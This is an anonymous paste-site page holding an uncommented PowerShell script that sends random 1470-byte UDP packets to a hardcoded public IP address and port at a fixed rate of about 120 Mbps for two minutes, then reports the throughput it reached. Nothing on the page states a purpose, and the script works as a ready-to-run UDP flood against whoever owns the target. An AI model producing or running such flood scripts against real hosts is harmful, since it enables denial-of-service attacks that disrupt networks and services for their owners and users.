Guest

dsafswfewf22233

Nov 3rd, 2026
21
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 1.32 KB | None | 0 0
  1. $i='125.244.62.133';$p=29015;$d=120;$m=120
  2. $e=[Net.IPEndPoint]::new([Net.IPAddress]::Parse($i),$p)
  3. $c=[Net.Sockets.UdpClient]::new();$c.Client.SendBufferSize=10485760
  4. $b=[byte[]]::new(1470);[Random]::new().NextBytes($b)
  5. $ppb=[math]::Floor(($m*1e6/8)/1470/10);$n=0
  6. $sw=[Diagnostics.Stopwatch]::StartNew();$end=[DateTime]::Now.AddSeconds($d)
  7. while([DateTime]::Now -lt $end){
  8. $s=Get-Date
  9. 1..$ppb|%{[void]$c.Send($b,1470,$e);$n++}
  10. $el=((Get-Date)-$s).TotalMilliseconds
  11. if($el -lt 100){Start-Sleep -Milliseconds (100-$el)}
  12. }
  13. $sw.Stop()
  14. "{0} p, {1:N2}s, {2:N2} Mbps" -f $n,$sw.Elapsed.TotalSeconds,(($n*1470*8)/($sw.Elapsed.TotalSeconds*1e6))
  15. $c.Close()
RAW Paste Data Copied